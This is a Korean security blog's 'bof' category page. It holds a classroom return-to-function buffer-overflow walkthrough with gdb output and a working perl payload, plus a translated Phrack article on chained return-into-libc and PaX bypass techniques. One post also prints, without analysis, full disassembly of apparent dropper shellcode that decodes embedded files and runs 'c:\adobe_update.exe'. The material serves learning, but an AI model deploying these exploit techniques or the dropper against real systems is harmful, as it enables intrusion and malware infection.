'bof'에 해당되는 글 7건

  1. 2011.02.11 rop 문서입니다.
  2. 2011.02.11 arm bof에 대한 문서
  3. 2010.07.22 bof 문서들
  4. 2010.07.22 noncompile shellcode
  5. 2010.06.03 RTL BOF : (Return To Library Buffer Over Flow)
  6. 2010.03.28 bof ppt 정리
  7. 2010.03.28 bof 공격
bof
posted by 블르샤이닝 2011. 2. 11. 10:41
728x90
이번에 파도콘 2011 에서 rop주제로 발표했던 블로그에서 퍼왔습니다. 참고하세요
728x90

'bof' 카테고리의 다른 글

arm bof에 대한 문서  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
noncompile shellcode  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof ppt 정리  (0) 2010.03.28
bof
posted by 블르샤이닝 2011. 2. 11. 10:38
728x90
728x90

'bof' 카테고리의 다른 글

rop 문서입니다.  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
noncompile shellcode  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof ppt 정리  (0) 2010.03.28
bof
posted by 블르샤이닝 2010. 7. 22. 16:52
728x90
728x90

'bof' 카테고리의 다른 글

rop 문서입니다.  (0) 2011.02.11
arm bof에 대한 문서  (0) 2011.02.11
noncompile shellcode  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof ppt 정리  (0) 2010.03.28
bof
posted by 블르샤이닝 2010. 7. 22. 10:26
728x90


call $+5
push 0Ch
jmp short loc_401099
db 4Ch, 22h, 80h
dd 8AFE987Ch, 0DA08AC0Eh, 0B5B98376h, 7D9BAD78h
dd 0FD97FBDFh, 8A49EA0Fh, 238ADBE8h, 0FA6516E9h
dd 8F17E610h, 0B922F67Bh, 397EC7Ch, 646D630Ch
dd 20632F20h, 615C3A63h, 65626F64h, 6470755Fh
dd 2E657461h, 657865h, 0
dd 5C3A6300h, 61746164h, 4558452Eh, 0
dd 5C3A6300h, 61746164h, 4E49622Eh, 0
db 0

loc_401099:
pop ecx
pop edi
scasd
mov eax, fs:30h
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]

loc_4010AB:
push ecx
mov esi, [ebp+3Ch]
mov esi, [esi+ebp+78h]
add esi, ebp
push esi
mov esi, [esi+20h]
add esi, ebp
xor ecx, ecx
dec ecx

loc_4010BE:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx

loc_4010C4:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short loc_4010D3
ror ebx, 0Dh
add ebx, edx
inc eax
jmp short loc_4010C4

loc_4010D3:
cmp ebx, [edi]
jnz short loc_4010BE
pop esi
mov ebx, [esi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [esi+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
stosd
pop ecx
loop loc_4010AB
sub edi, 38h
xor esi, esi

loc_4010F4:
inc esi
lea eax, [edi+80h]
push eax
push esi
call dword ptr [edi+18h]
cmp eax, 0FFFFFFFFh
jz short loc_4010F4
cmp eax, 1000h
jbe short loc_4010F4
mov [edi+4], eax
mov [edi+80h], esi
push dword ptr [edi+4]
push 40h
call dword ptr [edi+34h]
mov [edi+7Ch], eax
push 0
push 0
push 0
push dword ptr [edi+80h]
call dword ptr [edi+10h]
cmp eax, 0FFFFFFFFh
jz short loc_40118B
push 0
lea ebx, [edi+90h]
push ebx
push dword ptr [edi+4]
push dword ptr [edi+7Ch]
push dword ptr [edi+80h]
call dword ptr [edi+28h]
mov ecx, [edi+90h]
sub ecx, 0Ah
mov eax, [edi+7Ch]

loc_401158:
inc eax
cmp dword ptr [eax], 4B435646h
jnz short loc_40116A
cmp dword ptr [eax+4], 19890604h
jz short loc_40116E

loc_40116A:
loop loc_401158
jmp short loc_40118B

loc_40116E:
add eax, 8
mov [edi+94h], eax

loc_401177:
inc eax
cmp dword ptr [eax], 614B614Bh
jnz short loc_401189
cmp dword ptr [eax+4], 19811106h
jz short loc_401197

loc_401189:
loop loc_401177

loc_40118B:
push dword ptr [edi+7Ch]
call dword ptr [edi+30h]
jnz loc_4010F4

loc_401197:
mov [edi+98h], eax
push 2
lea esi, [edi+3Fh]
push esi
call dword ptr [edi+20h]
mov [edi], eax
push 2
lea esi, [edi+58h]
push esi
call dword ptr [edi+20h]
mov [edi+9Ch], eax
push 2
lea esi, [edi+68h]
push esi
call dword ptr [edi+20h]
mov [edi+0A0h], eax
mov ebx, [edi+98h]
sub ebx, [edi+94h]
mov eax, [edi+94h]

loc_4011D8:
xor [eax], bl
dec ebx
inc eax
cmp ebx, 0
jnz short loc_4011D8
mov eax, [edi+94h]
mov ecx, [eax]
mov [edi+0A4h], ecx
add eax, 4
mov ecx, [eax]
mov [edi+0A8h], ecx
add eax, 4
mov ecx, [eax]
mov [edi+0ACh], ecx
add eax, 4
mov esi, eax
push dword ptr [edi+0A4h]
push esi
push dword ptr [edi]
call dword ptr [edi+24h]
push dword ptr [edi+0A8h]
add esi, [edi+0A4h]
push esi
push dword ptr [edi+9Ch]
call dword ptr [edi+24h]
push dword ptr [edi+0ACh]
add esi, [edi+0A8h]
push esi
push dword ptr [edi+0A0h]
call dword ptr [edi+24h]
push dword ptr [edi]
call dword ptr [edi+1Ch]
push dword ptr [edi+9Ch]
call dword ptr [edi+1Ch]
push dword ptr [edi+0A0h]
call dword ptr [edi+1Ch]
call dword ptr [edi+8]
push eax
lea esi, [edi+3Fh]
mov edx, esi

loc_401262:
mov al, [edx]
inc edx
or al, al
jz short loc_40126B
jmp short loc_401262

loc_40126B:
mov byte ptr [edx-1], 20h
pop ecx

loc_401270:
mov al, [ecx]
or al, al
jz short loc_40127C
mov [edx], al
inc edx
inc ecx
jmp short loc_401270

loc_40127C:
mov [edx], al
sub esi, 7
call $+5
add [esp+4+var_4], 0Dh
push 0
push esi
push dword ptr [edi+2Ch]
jmp dword ptr [edi+0Ch]
start endp

db 6Ah
dd 0FFFF6A00h, 90901457h, 90909090h, 0B58h dup(0)
_text ends

728x90

'bof' 카테고리의 다른 글

arm bof에 대한 문서  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof ppt 정리  (0) 2010.03.28
bof 공격  (0) 2010.03.28
bof
posted by 블르샤이닝 2010. 6. 3. 00:36
728x90

RTL BOF : (Return To Library Buffer Over Flow)


문제 환경 :

bof1.c : 공격대상 파일 소스
bof1    : 공격대상 실행파일

문제 실행 결과 :

[linuxer@sclclass2 s12091455]$ ./bof1
enter id
dakuo
you entered dakuo
program ends here

문제요구 조건 :  

RTL BOF 공격을 이용해
enter id 입력하는 구문으로 되돌아오기.

       enter id
       ..................
       you entered ..........
       enter id
       you entered .........
       ................



사전조사 :

[linuxer@sclclass2 ~]$ cd s12091455
[linuxer@sclclass2 s12091455]$ uname -r              // 리눅스 버전 확인
2.6.22.14-72.fc6

[linuxer@sclclass2 s12091455]$ cat ./bof1.c           // 공격대상 파일의 소스 확인
#include <stdio.h>

void foo()
{
        char id[5];
        printf("enter id\n");
        scanf("%s", id);
        printf("you entered %s \n", id);
}

int main()
{
        foo();
        printf("program ends here\n");
        return 0;
}

소스를 분석해보니 

foo() 의 리턴주소를 foo() 의 시작주소로 바꿔주면 될 것 같다.


gdb 분석 :

[linuxer@sclclass2 s12091455]$ gdb ./bof1
GNU gdb Fedora (6.8-10.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disas main
Dump of assembler code for function main:
0x0804845e <main+0>:    lea    0x4(%esp),%ecx
0x08048462 <main+4>:    and    $0xfffffff0,%esp
0x08048465 <main+7>:    pushl  -0x4(%ecx)
0x08048468 <main+10>:   push   %ebp
0x08048469 <main+11>:   mov    %esp,%ebp
0x0804846b <main+13>:   push   %ecx
0x0804846c <main+14>:   sub    $0x4,%esp
0x0804846f <main+17>:   call   0x8048424 <foo>
0x08048474 <main+22>:   movl   $0x8048571,(%esp)
0x0804847b <main+29>:   call   0x8048354 <puts@plt>
0x08048480 <main+34>:   mov    $0x0,%eax
0x08048485 <main+39>:   add    $0x4,%esp
0x08048488 <main+42>:   pop    %ecx
0x08048489 <main+43>:   pop    %ebp
0x0804848a <main+44>:   lea    -0x4(%ecx),%esp
0x0804848d <main+47>:   ret
End of assembler dump.
(gdb) disas foo
Dump of assembler code for function foo:
0x08048424 <foo+0>:     push   %ebp
0x08048425 <foo+1>:     mov    %esp,%ebp
0x08048427 <foo+3>:     sub    $0x18,%esp
0x0804842a <foo+6>:     movl   $0x8048554,(%esp)
0x08048431 <foo+13>:    call   0x8048354 <puts@plt>
0x08048436 <foo+18>:    lea    -0x5(%ebp),%eax
0x08048439 <foo+21>:    mov    %eax,0x4(%esp)
0x0804843d <foo+25>:    movl   $0x804855d,(%esp)
0x08048444 <foo+32>:    call   0x8048334 <scanf@plt>
0x08048449 <foo+37>:    lea    -0x5(%ebp),%eax
0x0804844c <foo+40>:    mov    %eax,0x4(%esp)
0x08048450 <foo+44>:    movl   $0x8048560,(%esp)
0x08048457 <foo+51>:    call   0x8048344 <printf@plt>
0x0804845c <foo+56>:    leave
0x0804845d <foo+57>:    ret
End of assembler dump.
(gdb)

0x0804846f <main+17>:   call   0x8048424 <foo>  로

foo() 의 주소는 0x8048424 인것을 알수 있다.



버퍼의 사이즈 확인 :

GDB의 리턴어드레스 값 반환 이용 :

(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
01234567
you entered 01234567
program ends here

Program exited normally.
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
012345678
you entered 012345678

Program received signal SIGSEGV, Segmentation fault.
0x0099bfe1 in _dl_fini () from /lib/ld-linux.so.2
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
0123456789
you entered 0123456789

Program received signal SIGSEGV, Segmentation fault.
0x08040039 in ?? ()

01234567       의 8글자를 입력했을땐 아무 오류가 없었다.
012345678     의 9글자를 입력했을땐 Segmentation fault 발생하였다.
0123456789   의 10글자를 입력했을떈 리턴 어드레스 뒷부분의 값이 39로 변경되었다(아스키 코드값 : 9).

따라서 10번째 입력부터가 리턴 어드레스를 덮어쓴다는 것을 알수가 있다.


스택값으로 확인 :

(gdb) b *foo
Breakpoint 1 at 0x8048424
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048424 in foo ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) ni
0x08048425 in foo ()
(gdb) ni
0x08048427 in foo ()
(gdb) ni
0x0804842a in foo ()
(gdb) ni
0x08048431 in foo ()
(gdb) ni
enter id
0x08048436 in foo ()
(gdb) ni
0x08048439 in foo ()
(gdb) ni
0x0804843d in foo ()
(gdb) ni
0x08048444 in foo ()
(gdb) ni
01234567
0x08048449 in foo ()
(gdb) x/32x $ebp
0xbf98d0f8:     0x00373635      0x08048474      0x0099bdd0      0xbf98d120
0xbf98d108:     0xbf98d178      0x009c75d6      0x080484a0      0x08048370
0xbf98d118:     0xbf98d178      0x009c75d6      0x00000001      0xbf98d1a4
0xbf98d128:     0xbf98d1ac      0x009aa810      0x00000000      0x00000001
0xbf98d138:     0x00000001      0x00000000      0x00b15ff4      0x00000000
0xbf98d148:     0x08048370      0xbf98d178      0x8bc6d07c      0x828fa702
0xbf98d158:     0x00000000      0x00000000      0x00000000      0x009a14d0
0xbf98d168:     0x009c74fd      0x009a9fc0      0x00000001      0x08048370

스택값을 ebp 기준으로 32 바이트를 읽어온 모습이다.

ebp 위의 4바이트는 main 함수의 SFP 위치가 저장되있고 그위 4바이트에 걸쳐 foo 함수의 리턴어드레스가 있다.
(참고 : 0x08048474 <main+22>:   movl   $0x8048571,(%esp))

우리가 입력한 값 01234567(NULL) 에서 567(NULL) 이 SFP 자리의 3바이트를 채웠다.
(35363700(리틀엔디안) : 373635)

따라서 012345679 의 9자리를 입력하고 나서 다음 입력값부터 리턴어드레스를 덮어쓴다는 것을 알 수 있다.



공격구문 완성 :

[linuxer@sclclass2 s12091455]$ (perl -e 'print "A"x9,"\x24\x84\x04\x08"';cat)|./bof1

(앞의 9칸을 쓰레기값으로 채우고 리턴 어드레스를 덮어쓸 foo() 의 시작주소를 넣어준다)

enter id

you entered AAAAAAAAA$
enter id


공격이 성공한 것을 알수 있다.
----------------------------------------------

어느 블로그 에 있떤거 참고해서 해봤는데 아주~~~잘되네요 커널 살짝 위 버젼인데도 ㅎㅎ

728x90

'bof' 카테고리의 다른 글

arm bof에 대한 문서  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
noncompile shellcode  (0) 2010.07.22
bof ppt 정리  (0) 2010.03.28
bof 공격  (0) 2010.03.28
bof
posted by 블르샤이닝 2010. 3. 28. 18:06
728x90


간략하고 예를 들어 잘 설명 된것이다.

출처는 : http://selfsecurity.org/board/data/bof/1-bof.pdf
728x90

'bof' 카테고리의 다른 글

arm bof에 대한 문서  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
noncompile shellcode  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof 공격  (0) 2010.03.28
bof
posted by 블르샤이닝 2010. 3. 28. 14:42
728x90

==Phrack Inc.==

               Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e

|=------------=[ The advanced return-into-lib(c) exploits: ]=------------=|
|=------------------------=[ PaX case study ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ by Nergal <nergal@owl.openwall.com> ]=--------------=|


                                               May this night carry my will
                    And may these old mountains forever remember this night
                                             May the forest whisper my name
               And may the storm bring these words to the end of all worlds

                                                        Ihsahn, "Alsvartr"


--[ 1 - Intro

1 - Intro

2 - Classical return-into-libc

3 - Chaining return-into-libc calls
   3.1 - Problems with the classical approach
   3.2 - "esp lifting" method
   3.3 - frame faking
   3.4 - Inserting null bytes
   3.5 - Summary
   3.6 - The sample code

4 - PaX features
   4.1 - PaX basics
   4.2 - PaX and return-into-lib exploits
   4.3 - PaX and mmap base randomization

5 - The dynamic linker's dl-resolve() function
   5.1 - A few ELF data types
   5.2 - A few ELF data structures
   5.3 - How dl-resolve() is called from PLT
   5.4 - The conclusion

6 - Defeating PaX
   6.1 - Requirements
   6.2 - Building the exploit

7 - Misc
   7.1 - Portability
   7.2 - Other types of vulnerabilities
   7.3 - Other non-exec solutions
   7.4 - Improving existing non-exec schemes
   7.5 - The versions used

8 - Referenced publications and projects


 

이 글은 대략 두 부분으로 나누어 질수 있다. 먼저, return-into-libc의 발전된 기술에 대해 논할 것이다. 여기서 논할 몇몇 아이디어나 비슷한 기술들은 이미 다른 사람들에 의해 알려져있다. 하지만, 그런 것들은 한 곳에 모아지지 않았고, 보통 플랫폼에 의존적이거나 별로(또는 전혀) 효과적이지 못한 예제소스를 제공하고 있다. 그래서 나는 유용한 정보들을 모으고 나의 생각을 더해 참고하기에 편한 글을 만들기로 생각했다. 보안 목록에 올라온 많은 글들로 판단하건데 현재의 정보는 일반적인 지식이지 않을 것이다.

 

다음 부분에서는 PaX의 스택버퍼오버플로우의 방지기술을 우회하는 방법에 대해 논할 것이다.(다른 타입의 공격 가능한 코드는 끝에서 논할 것이다.) 최근의 PaX의 발전, 즉 스택과 mmap된 라이브러리 함수 주소의 랜덤화는 공격자에게는 쉽지 않은 문제이다. Dynamic linker's symbol resolution(동적 링크 심볼)의 초기 기술이 소개될 것이다. 이 방법은 매우 일반적이며, 성공하기 위한 조건이 보통 성립된다.

 

PaX가 인텔 플렛폼에 특화되었기 때문에 준비된 샘플코드는 Linux i386 glibc 시스템을 위한 것이다. PaX는 대부분의 사람들에게 충분히 안전하다고 생각되어지지 않는다. 하지만, 여기서 논할 기술(Linux i386에 대해 쓰여진)들은 다른 OS와 아키텍쳐, 그리고 non-executability schemes역시 회피할 수 있다. 하드웨어에 의해 구현된 기술 역시 회피할 수 있다.

 

이 글의 독자는 기초적인 공격에 대한 지식이 있다는 가정하에 글을 적는다. 이 글을 읽기 전에 글 [1]과 [2]을 이해해야 할 것이다. [12]는 ELF내부에 대해 실용적인 부분을 설명해 놓았다.

 

 

--[ 2 - Classical return-into-libc (고전적인 return-into-libc)

 

고전적인 return-into-libc 기술은 [2]에 서술되어 있으므로 여기서는 요약만을 하겠다. 이 방법은 non-excutable stack(실행 불가능한 스택)을 회피하기 위한 가장 일반적인 방법이다. 이 방법에서는 취약한 함수가 코드가 위치한 스택으로 리턴하는 대신에, 동적 라이브러리 메모리의 함수 주소로 리턴한다. 이것은 아래의 payload와 버퍼오버플로우에 의해 일어난다.

 

< - 스택이 자라는 방향

      주소가 커지는 방향 - > 
---------------------------------------------------------------
| buffer fill-up(*)| 라이브러리의 함수 | dummy 32비트 | arg_1 | arg_2 | ...
------------------------------------------------------------------
                          ^
                          |
                          - 이 32비트는 공격하는 함수의 리턴어드레스를 덮어야 한다.



(*) 버퍼를 채우면서 저장된 %ebp는 덮어질 것이다.

 

취약한 함수가 리턴할 때 라이브러리의 함수에서 실행이 계속되게 하기 위해 라이브러리 함수의 주소가 리턴어드레스에 덮어써져야 한다. 이렇게 불러진 라이브러리 함수의 입장에서 볼 때 dummy 32비트는 리턴어드레스이며, arg_1, arg_2와 따라오는 문자열들은 매개변수가 될 것이다. 전형적으로 라이브러리 함수로는 system()함수를 호출하며, arg_1은 "/bin/sh"의 주소를 가지고 있을 것이다.

 

 

--[ 3 - Chaining return-into-libc calls (연쇄 return-into-libc 콜)

----[ 3.1 - Problems with the classical approach (고전적 접근에 대한 문제점)

 

앞의 기술은 필연적인 문제가 두개 있다. 하나는 라이브러리 함수를 호출하고 난 후에 매개변수가 필요한 또 다른 함수를 부를 수 없다는 것이다. 왜냐? 라이브러리 함수가 역할을 끝내고 리턴될 때 dummy 32비트에서 실행이 계속 될 것이다. 이것은 또 다른 라이브러리 함수를 가르킬 수 있지만, 매개변수는 먼저 호출된 라이브러리 함수의 매개변수와 주소가 같게 된다. 때때로 이것은 문제가 되지 않을 수도 있다.([3]의 generic example을 보라.)

 

두 개 이상의 함수를 호출해야 되는 경우는 빈번히 일어난다. 만약 공격하는 어플리케이션이 일시적으로 권한을 내려버힌다면(예를 들어, setuid어플리케이션이 seteuid(getuid())를 할 수 있다.) 공격을 위해서는 system함수를 부르기 전에 반드시 (setuid(something)함수를 통해)권한을 되찾아야 할 것이다.

 

두번째 한계점은 라이브러리 함수의 매개변수는 0을 포함할 수가 없다는 것이다.(전형적인 오버플로우는 문자열을 조작하는 루틴에서 일어난다.) 연쇄적으로 여러개의 라이브러리함수를 콜하는 방법은 두가지 있다.

 

 

----[ 3.2 - "esp lifting" method 

 

이 방법은 -fomit-frame-pointer flag로 컴파일된 바이너리 파일을 공격하기 위해 디자인 되었다. 이런 경우 함수의 에필로그는 다음과 같이 된다.

 

eplg :

            addl   $LOCAL_VARS_SIZE,%esp

            ret

 

f1과 f2가 라이브러리함수의 주소라고 가정해 보자. 우리는 다음의 오버플로우 스트링을 만들 것이다.(공간상 이유로 버퍼를 채우는 문자열은 생략했다.)

 

< - 스택이 자라는 방향

      주소가 커지는 방향 - > 

---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^          ^                                                         ^
|          |                                                         |
|          | <-------LOCAL_VARS_SIZE--------->|
|
|-- 이 32비트는 공격하는 함수의

     리턴어드레스를 덮고 있다.

 

PAD는 페딩으로 f1의 매개변수와 합하여 그 길이가 LOCAL_VARS_SIZE와 같아야 한다.

 

그러면 이것이 어떻게 작동하는 것일까? 공격당한 함수는 매개변수가 f1_arg, f2_arg 등등인 f1로 리턴되어 질 것이다. 그 후 f1은 eplg로 리턴될 것이다. "addl  $LOCAL_VARS_SIZE,%esp"명령은 스택포인터를 LOCAL_VARS_SIZE에 맞춰 움직이게 한다. 그러면 esp는 f2의 주소가 저장된 곳을 가르키게 될 것이다. "ret"명령은 f2_args를 매개변수로 가지는 f2함수로 리턴 시킨다. 봐라! 우리는 두개의 함수를 불렀다.

 

비슷한 기술이 [5]에서 소개된다. 표준적인 함수의 에필로그로 리턴하는 대신, 프로그램이나 바이너리 이미지에서 다음과 같은 명령을 찾아야 한다.

 

pop-ret:
        popl any_register
        ret

이러한 명령은 컴파일러가 표준적인 에필로그를 최적화 하는 과정에서 생길 수 있다. 꽤나 흔한 경우이다.

이제, 우리는 다음과 같은 payload를 만들 수 있다.

 

< - 스택이 자라는 방향

      주소가 커지는 방향 - > 
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... 
------------------------------------------------------------------------------
                       ^
                       |
                        -이 32비트는 공격하는 함수의

                          리턴어드레스를 덮고 있다.

 

이 방법은 앞의 예와 비슷하게 작동한다. 스택포인터를 LOCAL_VARS_SIZE만큼 옮기는 대신, 그것을 "popl any_register"명령으로 4바이트 옮길 수 있다. 따라서 f1에 넘길 수 있는 매개변수는 최대 4바이트가 된다. 만약우리가 다음과 같은 명령을 찾으면 우리는 f1에 각각 4바이트인 두개의 매개변수를 넘길 수 있다.

 

pop-ret2:
        popl any_register_1
        popl any_register_2
        ret

pop-ret를 이용한 기술의 문제점은 3개이상의 레지스터를 pop하는 명령을 찾을 수 없다는 것이다. 그러므로 그러므로 이제부터 우리는 일반적인 전자의 방법을 사용하겠다.

 

[6]에서 누군가 비슷한 아이디어를 내 놓았는데 불행하게도 그것은 약간의 에러가 있고 설명하기에 복잡하다.

 

주목할 점은 우리는 이제 우리가 원하는 만큼의 함수를 호출할 수 있게 되었다는 것이다. 또 다른 것이라면 : 우리의 payload의 정확한 주소를 알 필요가 없다는 것이다.(즉, 스택의 정확한 주소를 알 필요가 없다는 것이다.) 하지만, 우리가 부르는 함수의 매개변수로 포인터가 필요하고, 그것이 우리의 payload내를 가르킨다면 우리는 그것의 위치를 알아야 할 것이다.

 

 

----[ 3.3 - frame faking (see [4])

이 두번째 기술은 -formit-frame-pointer옵션이 없이 컴파일 된 프로그램을 공격하기 위한 기술이다. 이러한 바이너리의 함수의 에필로그는 다음과 같다.

 

leaveret:
        leave
        ret

최적화와는 상관없이, gcc는 항상 "ret"앞에 "leave"를 놓는다. 그러므로, 우리는 이러한 바이너리에서는 유용한 "esp lifting"명령을 찾지 않을 것이다.(하지만 3.5의 끝을 보아라)

 

사실, 때때로 libgcc.a는 -formit-frame-pointer옵션으로 컴파일 되었다. 컴파일 과정에서, libgcc.a는 기본값으로 실행가능하게 링크된다. 그러므로 실행 가능한 "add $imm,%esp; ret"가 때때로 발견될 수 있다, 하지만 gcc의 특징은 너무 많은 요소(gcc 버전, 유저 또는 다른 것들의 컴파일 옵션)에 의해 결정되기 때문에 우리는 그것에 의존하지 않을 것이다.

 

"esp lifting"명령어로 리턴하는 대신, 우리는 "leaveret"로 리턴할 것이다. 오버플로우 payload는 부분들로 분리될 수 있다. 보통은, 공격코드는 그 부분들을 인접하게 놓는다.

 

< - 스택이 자라는 방향

      주소가 커지는 방향 - > 
                        
                       saved FP   saved vuln. function's return address
-------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret |
------------------------|------------------
                                    |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                               overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                    
----|-----------------------------------------
      |                       the first frame
      +-+
         |
         v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     ------|------------------------------------------
              |                  the second frame 
               +-- ...
fake_ebp0는 "first frame"의 fake_ebp1의 주소를 가르키고 있어야 한다. 또한 fake_ebp1는 fake_ebp2의 주소를 카르키고 있어야 한다.

 

이제, 실행의 흐름을 이해하기 위해 상상력을 펼쳐야 된다.

1) 공격당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

2) 두번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴할 것이다.

3) f1이 실행되고 리턴 될 것이다.

2)와 3)과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.

 

[4]에서는 함수의 에필로그로 리턴하지 않는다. 그 대신에 저자는 함수 F의 프롤로그 다음에 F자신이 아닌 다른곳으로 리턴되도록 스택을 조작하는 방법을 제안하였다. 이 과정은 소개된 방법과 매우 비슷하다. 하지만, 우리는 곧 오직 PLT를 통해서만  F로 갈 수 있는 상황에 직면하게 된다. 이러한 경우 F+something의 주소로 리턴하는 것이 불가능해지고, 오직 소개된 방법만이 가능해 진다. (PLT는 "procedure linkage table"의 약자로 앞으로도 몇 번 나올 것이다. 만약 이 단어의 뜻을 정확히 모르겠다면 [3]의 beginning을 보거나, 좀 더 시스템적인 설명을 해 놓은 [12]을 보기를 바란다.)

 

fake_ebp필드가 정확하게 가르켜져야 하기 때문에 이 기술을 쓰기 위해서는 fake_frame들의 정확한 주소가 필요함을 기억하라. 만약 모든 프레임이 buffer fill-up이후에 위치 한다면 버퍼오버플로우 이후의 esp값을 알아야 할 것이다. 하지만 fake frame이 스택의 어디에 박힐지 안다면(스택주소가 변하지 않을 때) esp값을 추측하지 않아도 될 것이다.

 

이 기술들은 -formit-frame-pointer옵션으로 컴파일된 프로그램에 대해서도 쓰일 수 있다. 그런 경우에는 leave&ret코드를 프로그램 코드에서가 아닌 프로그램과 연결된 startup 루틴(from crtbegin.o)에서 찾을 수 있다. 그러면 "0번째"chunk를 다음과 같이 바꿔야 할 것이다.

 

-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
                            ^
                            |
                            |-- 이 32비트는 공격하는 함수의

                                  리턴어드레스를 덮고 있다.

이 때는 함수가 ebp를 제자리로 돌려주지 않을 것이므로 leaveret를 두 번 호출해야 한다. 때때로 -formit-frame-pointer로 컴파일 된 프로그램을 공격할 때 "fake frame"기술이 필요할 때가 있다.

 

----[ 3.4 - Inserting null bytes (NULL바이트 넣기)

 

문제가 하나 남아있다. 0이 포함된 매개변수를 함수에 넘겨 주는 것이다. 하지만 여러개의 함수를 호출함으로써 이 문제를 해결할 수 있다. 다음에 호출될 함수에 0이 들어가는 매개변수를 넘겨출 수 있는 함수를 호출하는 방법을 이용하는 것이다.

 

strcpy가 가장 일반적으로 쓰일수 있는 함수이다. 이 함수를 호출 할 때는 두번째 매개변수는 NULL byte(프로그램 image같은 고정된 장소에 있는)를 가르키고 있어야 하고, 첫번째 매개변수는 0으로 만들 주소를 가르키고 있어야 할 것이다. 만약 0으로 만들어야 할 주소가 만다면 공간을 절약하기 위해 다른 방법을 찾아봐야 할 것이다. 예를 들어 sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); 는 ptr1, ptr2, ptr3, ptr4가 가르키는 곳을 0으로 만들어 줄 것이다. scanf같은 다른 함수도 이를 위해 쓰일 수 있다.([5]를 보라.)

 

이 해법은 다른 문제 역시 해결할 수 있다. 만약 모든 라이브러리 함수들이 0이 포함된 주소에 mmap되었다면(Solar Designer의 non-exec stack패치같은 경우) 오버플로우 payload에 널문자가 포함되어야 할 것이므로 곧장 라이브러리 함수로리턴될 수 없다. 하지만 strcpy(또는 sprintf, [3]을 보라.)이 공격하는 함수내에서 호출 된다면 사용가능한 적당한 PLT엔트리를 찾을 수 있을 것이다. 그러므로 우선 strcpy함수(PLT엔트리에 박혀 있을)를 호출해서 함수주소가 들어갈 곳에 널문자를 넣어야 한다.

 

----[ 3.5 - Summary (요약)

현재 존재하는 기술들은 비슷하다. 아이디어는 프레임 포인터의 도움으로 함수를 리턴할 때 곧장 다른 함수로 리턴하는 것이 아닌, 함수의 에필로그로 리턴하여 연쇄적으로 함수를 불러오는 것이다.

 

앞에서 소개된 두가지 방법 모두 실행 가능한 주소에서 적당한 함수의 에필로그를 찾았다. 보통은 라이브러리 함수를 충분히 쓸 수 있겠지만, 때때로는 곧장 실행하는 것이 불가능 할 것이다. (그 중 하나인 주소에 0이 포함되는 것은 이미 언급 되었고, 곧 또 다른 문제에 봉착할 것이다.) 실행 가능한 이미지는 그것의 위치와 상관이 없지 않아서 반드시 고정된 장소에 mmap되어야 한다.(Linux의 경우 0x08048000) 따라서 우리는 안전하게 그 곳으로 리턴할 수 있다.

 

----[ 3.6 - The sample code (샘플 코드)

 

여기에 첨부된 ex-move.c, ex-frames.c는 vuln.c프로그램을 공격하기 위한 코드이다. strcpy함수를 몇번 호출하여 공격하는 방식인데, 부가적인 설명은 4.2에서 되어있다. 여튼, 이 공격 코드들은 return-into-lib공격코드를 위한 틀로 사용할 수 있다.

 

 

 --[ 4 - PaX features

----[ 4.1 - PaX basics

만약 PaX 리눅스 커널 패치에 대해 전혀 모른다면, 프로젝트 홈페이지[7]을 방문하는게 좋을 것이다. 아래는 PaX문서에서 인용한 문장들이다.

 

